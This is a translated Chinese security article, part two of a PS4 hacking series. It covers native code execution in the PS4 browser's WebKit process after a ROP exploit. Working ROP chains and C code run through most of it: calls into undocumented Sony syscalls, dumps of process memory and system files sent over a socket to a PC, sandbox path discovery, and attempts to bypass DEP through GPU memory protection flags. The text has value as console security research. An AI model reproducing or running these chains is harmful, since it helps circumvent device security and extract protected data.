破解索尼PS4系列:用户代码执行(二) - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

破解索尼PS4系列:用户代码执行(二)

xiaohui 技术 2017年4月5日发布

导语:正如上一篇文章讲过的那样,ROP只是以一种聪明的方式执行内存中加载的现有代码,而ROP在技术上完全可以实现图灵完备(Turing complete),不过对于一些基本测试,ROP链反而显得有点复杂,让人感觉不太实用。

u=621060944,2611130995&fm=206&gp=0.jpg

本文会重点讲解如何在WebKit进程中进行代码执行。

代码执行

正如上一篇文章讲过的那样,ROP只是以一种聪明的方式执行内存中加载的现有代码,而ROP在技术上完全可以实现图灵完备(Turing complete),不过对于一些基本测试,ROP链反而显得有点复杂,让人感觉不太实用。

不过现在,我们已经能够利用ROP来设置内存,这样我们就可以将自己的代码写进去并执行它。

简而言之,这意味着我们可以编译C代码,例如PS4-SDK中包含的这些样本,并将其作为本机x86_64代码执行。

虽然这是很大的进步,但我们仍然要通过页面来执行,并且具有与之前相同的限制(如沙盒)。

译者注:参考最近发布的LLVM 3.7,如果将-target x86_64-scei-ps4指定为clang,我们就可以使用与索尼用于编译PS4的官方代码完全相同的选项来编译代码。

WebKit进程限制

如前文所述,浏览器实际上由两个独立的进程组成。我们所劫持的代码,执行的是核心的WebKit进程(它会对HTML和CSS进行解析,解码图像和执行JavaScript)。

我们可以使用以下代码转储我们进程中访问的所有内存:

struct memoryRegionInfo info;struct otherMemoryRegionInfo otherInfo;void *m = NULL;int i;// Iterate over first 107 memory mappingsfor(i = 0; i < 107; i++) {
	// Find base of next mapping
	getOtherMemoryInfo(m, 1, &otherInfo);
	
	// Get more info about this mapping
	getMemoryInfo(otherInfo.base, &info);
	
	// If readable, dump it
	if(info.flags & PROT_CPU_READ) {
		sceNetSend(sock, info.base, info.end - info.base, 0);
	}
	
	m = info.end;}

不过,在这个转储中,你将无法找到其他进程使用的字符串,例如“选项”,“关闭窗口”,“刷新”或“可用系统内存不足”。

图形

可以很明确的是,如果让其他进程来处理显示图形,我们便不能轻易地劫持活动的libSceVideoOut句柄。

尽管我们一直都在重新初始化libSceVideoOut,但即使所有函数都返回了让我们满意的值,我们还是无法更改浏览器的显示图形。

为了确定我们的进程无法访问由其他进程创建的视频句柄,我们必须尝试使用强制代码执行来进行验证。

强制代码执行

强制使用ROP框架的东西是不切实际的,不过我们可以每次测试后重新设置页面,而且由于漏洞利用率并不是100%可靠,强制执行一分钟左右就会出现错误提示。

通过代码执行,我们可以尝试让浏览器强制打开视频句柄,并且可以使用套接字从PC远程跟踪进度。

如果sceVideoOutWaitVblank被赋予一个无效的句柄,则将返回一个错误值,如果它被赋予一个有效的句柄,则返回值为0:

int i;for(i = 0; i < 0x7FFFFFFF; i++) {
	if(!sceVideoOutWaitVblank(i)) return i;
	if(i % 0x10000 == 0) debug(sock, "At %08xn", i);}sceNetSocketClose(sock);return 0;

可以看到,运行几个小时后,返回值为0,确认我们的进程无法访问其他进程的视频句柄。

画布

有一个并不太完善的解决方案可供我们选择,如果我们创建一个HTML5画布并用单一的颜色填充,我们可以在RAM中找到它的帧缓冲区的地址,并从本机代码创建一个新的线程来呈现新的画布。

如果画布的分辨率太高,则更难找到其地址,并且通常刷新率不高。但是,我们可以将低分辨率图像拉伸为全屏,这样就可以正常执行了:

var body = document.getElementsByTagName("body")[0];

// Create canvas
var canvas = document.createElement("canvas");

canvas.id = "canvas";
canvas.width = 160;
canvas.height = 144;
canvas.style.zIndex = 1;
canvas.style.position = "absolute";
canvas.style.border = "1px solid";

// Centered
//canvas.style.left = ((window.screen.width - canvas.width) / 2).toString() + "px";
//canvas.style.top = ((window.screen.height - canvas.height) / 2).toString() + "px";

// Fullscreen
canvas.style.left = "0px";
canvas.style.top = "0px";
canvas.style.width = "100%";
canvas.style.height = "100%";

body.appendChild(canvas);

不过,你可能想要在创建画布之前删除所有其他元素,来提高运行效率:

while(body.firstChild) {
	body.removeChild(body.firstChild);
}

最后,要隐藏光标:

document.body.style.cursor = "none";

控制器

libScePad模块类似于libSceVideoOut,因为它不被我们的进程使用,所以我无法使其工作。

除非事先调用scePadInit,否则scePadOpen将产生运行错误。由此可以看出,单独进程的模块各自都有自己的内部状态,而且我们的进程没有使用libScePad(因为它还没有被初始化)。

所以,像图形一样,我们将无法劫持已经打开的任何手柄,并且尝试创建新的手柄也不会奏效。

我们不能从首个控制器读取,因为它已经在使用了,也许我们能够从第二个控制器读取,但不幸的是,无法进行测试,因为我们只有一个控制器。不过,我们可以使用USB库接收来自第三方控制器的输入或仅仅使用WIFI兼容设备来发送UDP套接字,我们选择使用的是任天堂DS无线设备。

USB闪存驱动器

将USB插入PS4时,新设备会显示/ dev /; ugen0.4为第一个插槽,ugen0.5为第二个插槽。但由于安装系统调用(类似于nmount这样的变体)总是返回1,EPERM错误提示,所以我们无法安装设备。

然而,我们可以使用libSceUsbd.sprx模块访问USB闪存驱动器,它非常类似于libusb。

以下是libusb的代码:

libusb_context *context;libusb_init(&context);libusb_exit(context);

可以转换为libSceUsbd代码:

sceUsbdInit();sceUsbdExit();

这是一个将命令直接发送到USB设备的底层库,因此它不是真正的理想选择,但是借助xerpi,我们可以将一个libusb移植到PS4,并读取原始图像的USB闪存驱动器。

虽然在将来可能会基于直接的USB命令来移植一个完整的FAT实现,但现在我只是使用Win32 Disk Imager(类似于dd for Linux)将数据写入USB闪存驱动器的原始图像。

USB的发现与内核访问

插入USB时,PS4会自动尝试安装USB闪存驱动器。一旦使用内核代码执行来启用UART输出,插入USB闪存驱动器后就会显示以下消息:

ugen0.4: <SanDisk> at usbus0
umass1: <SanDisk Cruzer Edge, class 0/0, rev 2.00/1.26, addr 4> on usbus0
umass1:  SCSI over Bulk-Only; quirks = 0x0000
umass1:2:1:-1: Attached to scbus2
da1 at umass-sim1 bus 1 scbus2 target 0 lun 0
da1: <SanDisk Cruzer Edge 1.26> Removable Direct Access SCSI-5 device
da1: 40.000MB/s transfers
da1: 3819MB (7821312 512 byte sectors: 255H 63S/T 486C)
[SceAutoMount] /mnt/usb0 is now available. fstype=exfatfs, device=/dev/da1s1
MSG AutomounterMelUtil(void sceAutomounterMelUtil::callbackMountAll(void **) 203):
                device(/dev/da1s1): exfat(mediaType=0x1001) is mounted at /mnt/usb0.

只有格式化为FAT32的设备才能成功安装,并且在使用内核代码执行转义文件后,可以从/ mnt / usb0和/ mnt / usb1访问它们。然而,如果没有使用内核,libSceUsbd模块仍然是访问USB的唯一方法,实际上这个办法可以更好地控制设备,但却不太方便读取和写入文件。

Cinoop

Cinoop是一个我们之前写的GameBoy模拟器,虽然它不是最好的GameBoy模拟器,但我们认为Cinoop足以移植到PS4来显示网页代码执行。

更多相关流程

由于我们的运行环境受到诸多限制,使得进程之间的交互很少,虽然我们尝试过劫持另一个进程以获得更多潜在的访问,但都没有成功。

fork(2)系统调用被禁用,因此我们无法创建新进程。
chroot(61)系统调用被禁用。
libc函数getprocname返回一个空字符串。

虽然execve(59)系统调用是允许的,并且在libSceSystemService.sprx中还有一个名为sceSystemServiceLoadExec的函数,但是我们无法测试这些函数,因为文件系统是只读的,我们无法加载USB闪存驱动器。 PS4上的可执行文件具有自定义标题,内容也被加密。我们可以复制libprocstat中的一些功能,但是这个功能大都是无用的,因为我们只想得到自己的进程的权限。

具有内核访问权限的可执行文件

sceSblAuthMgrAuthHeader和sceSblAuthMgrIsLoadable这两个内核函数似乎处理了大多数可执行文件的完整性检查: 使用内核代码执行,可以在控制台上直接解密可执行文件。

root困惑

我们在前文中提到getlogin返回“root”,虽然用户名可能是“root”,但我不相信这是常规的根目录。

例如在这个所谓的root用户下,getuid一直返回0。但是实际上正常的root用户是返回1的。

另外,由于进程是在FreeBSD jail环境中运行的,所以我们不敢确定进程是否是在root权限下运行的。

加载模块

我们可以使用libkernel中的sceKernelLoadStartModule加载模块:

int libPad = sceKernelLoadStartModule("libScePad.sprx", 0, NULL, 0, 0, 0);

把模块加载到内存中,我们可以读取它的Base 编码和大小,并像之前一样进行转储。

这种加载模块的方法比我们上一篇文章中提到的方法更好,因为它将初始化导入表,以便我们可以实际调用其中的函数,并在转储中使用其他模块如libc和libkernel的方法。

根据函数名称寻找函数的偏移量

FreeBSD使用系统调用337,kldsym,我们可以从其命名的一个动态库中寻找函数的地址。

在C中,可以这样使用:

struct kld_sym_lookup data;data.version = sizeof(struct kld_sym_lookup);data.symname = "sys_getpid";if(kldsym(libKernel, KLDSYM_LOOKUP, &data) == 0) {
	printf("%pn", data.symvalue);
	printf("%dn", data.symsize);}

在PS4内核中,此功能已被禁用,并将始终返回0x4e,ENOSYS提示。

不过索尼在PS4内核中实现了动态链接器,用于用户态的动态内存管理 ,我们可以使用它来处理用户空间的函数。

系统调用591,sys_dynlib_dlsym已成为PS4-SDK的基础,如果我们加载了一个模块并获得了它的句柄,我们就可以调用已知名称和参数的任何函数。

以下ROP链将获得libkernel中getpid包装器中的偏移量:

var result = chain.data;
var name = chain.data + 8;

writeString(name, "getpid");
chain.syscall("getFunctionAddressByName", 591, LIBKERNEL, name, result);

chain.execute(function() {
	logAdd(readString(name) + " libkernel offset = 0x" + (getU64from(result) - module_infos[LIBKERNEL].image_base).toString(16));
});

对于固件1.76版本来说,返回值为0xbbb0。

我们可以从我们的libkernel转储中验证这个偏移量(getpid系统调用编号为20):

000000000000BBB0 getpid          proc near
000000000000BBB0                 mov     rax, 20
000000000000BBB7                 mov     r10, rcx
000000000000BBBA                 syscall
000000000000BBBC                 jb      short loc_BBBF
000000000000BBBE                 retn
000000000000BBBF ; ---------------------------------------------------------------------------
000000000000BBBF
000000000000BBBF loc_BBBF:
000000000000BBBF                 lea     rcx, sub_DF60
000000000000BBC6                 jmp     rcx
000000000000BBC6 getpid          endp

如果要获取其他函数名称,我们就应该使用经过反汇编的字符串视图(或者在十六进制编辑器中搜索sce),我们会发现索尼在许多模块中留下了一些有用的调试消息。

例如,libkernel包含字符串“verify_header:sceKernelPread failed%x  n”。现在我们已经确定了一个sceKernelPread函数,下面,就让我们来看看类似于sceKernelPwrite的函数能否被确认。

不过,sceKernelPread和sceKernelPwrite只是与系统调用相关的普通FreeBSD常规包装器。

由于索尼多年来使用的命名方式都是固定的,我们还可以尝试使用一些PSP函数名称,不过其中也有许多存在于PS4的模块中。

线程

libkernel模块包含了libpthread的实现,但是仍遵循了索尼的命名方式。

需要注意的是,我们创建的线程仍在后台运行,而其他应用程序也处于活动状态。请点击以下视频:

http://v.qq.com/iframe/player.html?vid=s017633wgds&tiny=0&auto=0"

为了演示这一点,我们可以创建一个线程,在任意超时后启动浏览器:

int (*sceSystemServiceLaunchWebBrowser)(const char *uri, void *);void *t(void *n) {
	sceKernelSleep(10);
	
	sceSystemServiceLaunchWebBrowser("http://google.com/", NULL);
	
	return NULL;}int _main(void) {
	initKernel();
	
	initLibc();
	initPthread();
	
	int libSceSystemService;
	loadModule("libSceSystemService.sprx", &libSceSystemService);
	
	RESOLVE(libSceSystemService, sceSystemServiceLaunchWebBrowser);
	
	ScePthread thread;
	scePthreadCreate(&thread, NULL, t, NULL, "t");
	
	return 0;}

读取内存保护

我们可以使用索尼自定义的两个系统调用547和572,来读取一个内存页面的内容(16KB) 的属性,包括它的保护:

function getStackProtection() {
	var info = chain.data;
	
	chain.syscall("getMemoryInfo", 547, stack_base, info);
	
	chain.execute(function() {
		var base = getU64from(info + 0x0);
		var size = getU64from(info + 0x8) - base;
		var protection = getU32from(info + 0x10);
		
		logAdd("Stack base: 0x" + base.toString(16));
		logAdd("Stack size: 0x" + size.toString(16));
		logAdd("Stack protection: 0x" + protection.toString(16));
	});
}

function getStackName() {
	var info = chain.data;
	
	chain.syscall("getOtherMemoryInfo", 572, stack_base, 0, info, 0x40);
	
	chain.execute(function() {
		var base = getU64from(info + 0x0);
		var size = getU64from(info + 0x8) - base;
		var name = readString(info + 0x20);
		
		logAdd("Stack base: 0x" + base.toString(16));
		logAdd("Stack size: 0x" + size.toString(16));
		logAdd("Stack name: " + name);
	});
}

上面的代码告诉我们,堆栈的名称是“主栈”,其保护是3(读和写)。

列出所有内存页

正如我们上篇所讲的的,由于ASLR机制,所以很难映射出所有PS4的内存。不过有个办法可以部分解决这个问题,如果把系统调用572的第二个参数设置为1,并且我们指定一个未映射的地址,那么下一个内存页也就被使用了。

这意味着我们可以指定任意地址,并最终找到一个有效的内存页面。例如,指定0作为地址将告诉我们有关第一个映射内存页面的信息:

var info = chain.data;

chain.syscall("getOtherMemoryInfo", 572, 0, 1, info, 0x40);

chain.execute(function() {
	var base = getU64from(info + 0x0);
	var size = getU64from(info + 0x8) - base;
	var name = readString(info + 0x20);
	
	logAdd("First page base: 0x" + base.toString(16));
	logAdd("First page size: 0x" + size.toString(16));
	logAdd("First page name: " + name);
});

这样,我们可以从我们的进程中提取可访问的内存页面的完整列表:

Name                            Address         Size        Protection
executable          	        0x65620000      0x4000      0x5
executable          	        0x65624000      0x4000      0x3
anon:000819401c98   	        0x200578000     0x4000      0x3
anon:00081baf2243   	        0x20057c000     0x8000      0x3
anon:00081add693a   	        0x200584000     0x8000      0x3
anon:00081baf22d6   	        0x20058c000     0x8000      0x3
anon:00081add739e   	        0x200594000     0x100000    0x3
anon:00081add6ad2   	        0x200694000     0x8000      0x3
anon:00081add6ad2   	        0x20069c000     0x8000      0x3
anon:000815405218   	        0x2006a4000     0x4000      0x3
anon:00081ac4f19e   	        0x2006a8000     0x8000      0x3
anon:00081add739e   	        0x2006b0000     0x100000    0x3
anon:00081ba08107   	        0x2007b0000     0x4000      0x3
anon:00081ad834f7   	        0x2007b4000     0x4000      0x1
anon:00081add739e   	        0x2007b8000     0x300000    0x3
stack guard         	        0x7ef788000     0x4000      0x0
JavaScriptCore::BlockFree       0x7ef78c000     0x10000     0x3
stack guard                     0x7ef79c000     0x4000      0x0
RscHdlMan:Worker                0x7ef7a0000     0x10000     0x3
stack guard                     0x7ef7b0000     0x4000      0x0
SceWebReceiveQueue              0x7ef7b4000     0x10000     0x3
stack guard                     0x7ef7c4000     0x4000      0x0
SceFastMalloc                   0x7ef7c8000     0x10000     0x3
stack guard                     0x7ef7d8000     0x4000      0x0
sceVideoCoreServerIFThread      0x7ef7dc000     0x10000     0x3
(NoName)WebProcess.self         0x7ef7ec000     0x4000      0x0
main stack                      0x7ef7f0000     0x200000    0x3
                                0x7ef9f0000     0x4000      0x5
libSceRtc.sprx                  0x802ccc000     0x4000      0x5
libSceRtc.sprx                  0x802cd0000     0x4000      0x3
libSceSystemService.sprx        0x803468000     0x14000     0x5
libSceSystemService.sprx        0x80347c000     0x4000      0x3
libSceSystemService.sprx        0x803480000     0x8000      0x3
libSceSysmodule.sprx            0x8049bc000     0x4000      0x5
libSceSysmodule.sprx            0x8049c0000     0x4000      0x3
libkernel.sprx                  0x808774000     0x34000     0x5
libkernel.sprx                  0x8087a8000     0x2c000     0x3
libSceRegMgr.sprx               0x80a520000     0x4000      0x5
libSceRegMgr.sprx               0x80a524000     0x4000      0x3
libSceSsl.sprx                  0x80d1c0000     0x48000     0x5
libSceSsl.sprx                  0x80d208000     0x8000      0x3
libSceOrbisCompat.sprx          0x80f648000     0x15c000    0x5
libSceOrbisCompat.sprx          0x80f7a4000     0x38000     0x3
libSceOrbisCompat.sprx          0x80f7dc000     0x4000      0x3
libSceLibcInternal.sprx         0x8130dc000     0xd0000     0x5
libSceLibcInternal.sprx         0x8131ac000     0x8000      0x3
libSceLibcInternal.sprx         0x8131b4000     0x18000     0x3
libScePigletv2VSH.sprx          0x815404000     0x74000     0x5
libScePigletv2VSH.sprx          0x815478000     0x2c000     0x3
libSceVideoCoreServerInterface. 0x819400000     0xc000      0x5
libSceVideoCoreServerInterface. 0x81940c000     0x4000      0x3
libSceWebKit2.sprx              0x81ac44000     0x2414000   0x5
libSceWebKit2.sprx              0x81d058000     0x148000    0x3
libSceWebKit2.sprx              0x81d1a0000     0xbc000     0x3
libSceIpmi.sprx                 0x81da60000     0x14000     0x5
libSceIpmi.sprx                 0x81da74000     0x14000     0x3
libSceMbus.sprx                 0x8288a0000     0x8000      0x5
libSceMbus.sprx                 0x8288a8000     0x4000      0x3
libSceCompositeExt.sprx         0x829970000     0x8000      0x5
libSceCompositeExt.sprx         0x829978000     0x44000     0x3
libSceNet.sprx                  0x82ccdc000     0x1c000     0x5
libSceNet.sprx                  0x82ccf8000     0x14000     0x3
libSceNetCtl.sprx               0x833f1c000     0x8000      0x5
libSceNetCtl.sprx               0x833f24000     0x4000      0x3
libScePad.sprx                  0x835958000     0x8000      0x5
libScePad.sprx                  0x835960000     0x8000      0x3
libSceVideoOut.sprx             0x83afe4000     0xc000      0x5
libSceVideoOut.sprx             0x83aff0000     0x4000      0x3
libSceSysCore.sprx              0x83cdf4000     0x8000      0x5
libSceSysCore.sprx              0x83cdfc000     0x4000      0x3
SceLibcInternalHeap             0x880984000     0x10000     0x3
SceKernelPrimaryTcbTls          0x880994000     0x4000      0x3
SceVideoCoreServerInterface     0x880998000     0x4000      0x3
SceLibcInternalHeap             0x88099c000     0xc0000     0x3
SceLibcInternalHeap             0x880a5c000     0x20000     0x3
SceLibcInternalHeap             0x880a7c000     0x490000    0x3
SceLibcInternalHeap             0x880f0c000     0x470000    0x3
anon:00080f64a807               0x912000000     0x100000    0x3
anon:00080f64a98d               0x912100000     0x10000000  0x3
anon:00080f64aaa5               0x922100000     0x4000000   0x5
CompositorClient                0x1100000000    0x200000    0x33
CompositorClient                0x1100200000    0x200000    0x33
CompositorClient                0x1100400000    0x200000    0x33
CompositorClient                0x1100600000    0x200000    0x33
CompositorClient                0x1180000000    0x200000    0x33
CompositorClient                0x1180200000    0x200000    0x33
CompositorClient                0x1180400000    0x200000    0x33
CompositorClient                0x1180600000    0x200000    0x33
CompositorClient                0x1180800000    0x200000    0x33
CompositorClient                0x1180a00000    0x200000    0x33
CompositorClient                0x1180c00000    0x200000    0x33
CompositorClient                0x1180e00000    0x200000    0x33
CompositorClient                0x1181000000    0x200000    0x33
CompositorClient                0x1181200000    0x200000    0x33
CompositorClient                0x1181400000    0x200000    0x33
CompositorClient                0x1181600000    0x200000    0x33
CompositorClient                0x1181800000    0x200000    0x33
CompositorClient                0x1181a00000    0x200000    0x33
CompositorClient                0x1181c00000    0x200000    0x33
CompositorClient                0x1181e00000    0x200000    0x33
CompositorClient                0x1182000000    0x200000    0x33
CompositorClient                0x1184000000    0x200000    0x33
CompositorClient                0x1186000000    0x200000    0x33
CompositorClient                0x1188000000    0x200000    0x33
CompositorClient                0x118a000000    0x200000    0x33
CompositorClient                0x118c000000    0x200000    0x33
CompositorClient                0x118e000000    0x200000    0x33

CompositorClient始终基于0x1100000000,但所有其他地址每次都会不同。

这个列表正是我们所想要的一堆模块,每个模块都有自己的数据、代码页、堆栈、一些堆栈保护和一些其他的各种映射。

不过还有一些我们无法解释的模块,CompositorClient被映射为0x33,这绝对不是一个标准的FreeBSD内存保护!

GPU

由于CPU和GPU共享一个统一的内存池,所以索尼添加了自己的保护标志来控制GPU可以访问的内容以及为CPU保留标准的FreeBSD保护。

这可以通过逆向libSceGnmDriver模块来找到:

CPU读-1
CPU写-2
CPU执行-4
GPU执行-8
GPU读-16
GPU写-32

CompositorClient可以标记为0x33(1 | 2 | 16 | 32),CPU RW和GPU RW。

由于索尼非常巧妙地处理了GPU保护系统,所以我们也只能给CPU同样多的访问权限,例如:

// Give GPU read and write access to stack:
chain.syscall("mprotect", 74, stack_base, 16 * 1024 * 1024, 1 | 2 | 16 | 32);

// Give GPU read and execute access to WebKit2 module:
chain.syscall("mprotect", 74, module_infos[WEBKIT2].image_base, 16 * 1024 * 1024, 1 | 4 | 16 | 8);

但试图绕过DEP还是失败了:

// Give GPU read and execute access to stack:
chain.syscall("mprotect", 74, stack_base, 16 * 1024 * 1024, 1 | 2 | 16 | 8);

// Give GPU read and write access to WebKit2 module:
chain.syscall("mprotect", 74, module_infos[WEBKIT2].image_base, 16 * 1024 * 1024, 1 | 4 | 16 | 32);

注册表

我们发现了一个名为libSceRegMgr.sprx的模块,这表明索尼在PS4中添加了一些注册表系统,而FreeBSD是没有这样的模块的。

该模块中的所有功能都是系统调用532的包装器,之前我们认为是wait6,且第一个参数是一个命令。

事实上,wait6已经被索尼自定义的系统调用所修改,这表明系统调用的编号与我们最初理解的FreeBSD 9.0类似。

虽然这个模块由浏览器加载和使用,但由于我们的执行进程是有限的,所有函数调用均已0x80020001返回,这表明所以使用"互斥锁"。

缺少内核ASLR

系统调用617至少需要1个参数,并返回一个内核指针,虽然我不知道这个系统调用的更多信息,但是由于内核指针总是相同的,所以我们可以把它作为固件1.76上没有内核ASLR的另一个证据。

转储文件

通过代码执行,文件可以非常容易地转储。虽然也可以使用ROP来实现,但是有点麻烦,必须分多个阶段才能完成。

通过使用PS4文件浏览器,我们应该能够找到一些有趣的东西来转储,比如/sandboxDir/common/font/DFHEI5-SONY.ttf。

我们应该注意,如果要转储的文件路径以10个随机字符(沙箱目录)开始,那每次重新启动PS4时,此路径都会发生更改,不过,可以使用下面的ROP链来找到它:

setU64to(chain.data, 11);
chain.syscall("getSandboxDirectory", 602, 0, chain.data + 8, chain.data);
chain.write_rax_ToVariable(0);

chain.execute(function() {
	var name = readString(chain.data + 8);
	logAdd(name);
});

对我们来说,这是AaQj0xlzjX。对于非常小的文件,我们可以简单地读入chain.data,但对于较大的文件,我们需要分配内存。

我们可以通过标准的mmap系统调用来实现。刷新页面,并使用这个ROP链:

chain.syscall("mmap", 477, 0, 0x1000000, 1 | 2, 4096, -1, 0);
chain.write_rax_ToVariable(0);
chain.execute(function() {
	chain.logVariable(0);
});

可以看到,返回的地址为0x200744000。

再次刷新页面,并使用这个ROP链读取文件并获取其大小,将AaQj0xlzjX替换为我们的沙箱目录,并使用上述ROP链上的任意地址替换0x200744000:

writeString(chain.data, "/AaQj0xlzjX/common/font/DFHEI5-SONY.ttf");
chain.syscall("open", 5, chain.data, 0, 0);
chain.write_rax_ToVariable(0);
chain.read_rdi_FromVariable(0);
chain.syscall("read", 3, undefined, 0x200744000, 0x1000000);
chain.syscall("fstat", 189, undefined, chain.data);
chain.execute(function() {
	chain.logVariable(0);
	logAdd("Size: " + getU32from(chain.data + 0x48).toString());
});

如上所示,我们的字体大小为8312744字节。

现在我们打开任何用于拦截计算机上流量的代理或网络工具,并创建了一个名为TCP-Dump的简单C服务器。

刷新页面,并使用这个ROP链发送缓冲区,然后用适当的值替换IP,端口,地址和文件大小:

sendBuffer("192.168.0.4", 9023, 0x200744000, 8312744);
chain.execute(function() {
	logAdd("Dumped");
});

使用cookies,我们就可以自动将信息往后传递,但现在我们不会这么做。

这里还应该注意,由于文件系统是只读的,例如,尝试修改字体会使PS4崩溃(这个问题我们放在下一章来解决)。我们还可以转储位于/ sandboxDir / common / lib /的模块,但它们是加密的。

加密

加密是PS4安全最重要的一部分,PS4使用的是AES加密,这样就可阻止像我们这样的人来对其固件以及游戏进行分析。另外,人们似乎也没有注意到在PS4中还同时使用多个加密密钥,即使我们找到解密方法,我们仍然无法解密PUP更新。

但是,我们还是发现其中的一个加密漏洞——执行错误,如PS3不是执行随机数了,而是仅仅使用常数4。虽然索尼在PS4的加密方面不太可能再犯这样的低级错误,但还是可以同ELF调试来窥探各种游戏的服务器更新。此外,PS4上的加密由一个称为SAMU的单独处理器来处理,这个处理器非常稳定。即使使用内核攻击,SAMU处理器难以被攻破。虽然我们可以与它进行交互来解密几乎所有的东西,但是不可能提取任何密钥,以便在外部完成解密。

保存

保存数据存储在以下位置:

/user/home/[userID]/savedata/[titleID]/

例如:

/user/home/10000000/savedata/CUSA00455/FFXIVSYSTEM.bin

我们可以转储这些文件,但它们是加密的。

假设加密是由libSceSaveData模块处理的,我们可以成功加载和初始化这个模块:

int libSave = sceKernelLoadStartModule("libSceSaveData.sprx", 0, NULL, 0, 0, 0);int (*sceSaveDataInitialize)(void *);RESOLVE(libSave, sceSaveDataInitialize);sceSaveDataInitialize(NULL);

但是,当我们尝试安装或读取这些数据时,收到的确实错误代码。

总结

代码执行的能力跟当前的访问权限是挂钩的,比如可以运行某些类型的自定义程序,例如GameBoy模拟器。

然而,由于我们无法使用官方控制器,所以对任何种类的输入进行标准化是不切实际的,再加上我们无法使用官方图形库,想找到索尼自定义漏洞无比的困难。

从目前掌握的信息来看,对PS4进行内核攻击应该是个可行方案。

本文参考来源于cturt.github,如若转载,请注明来源于嘶吼: http://www.4hou.com/technology/3975.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

    高坂穗乃果 2017-04-05 11:23

    感谢分享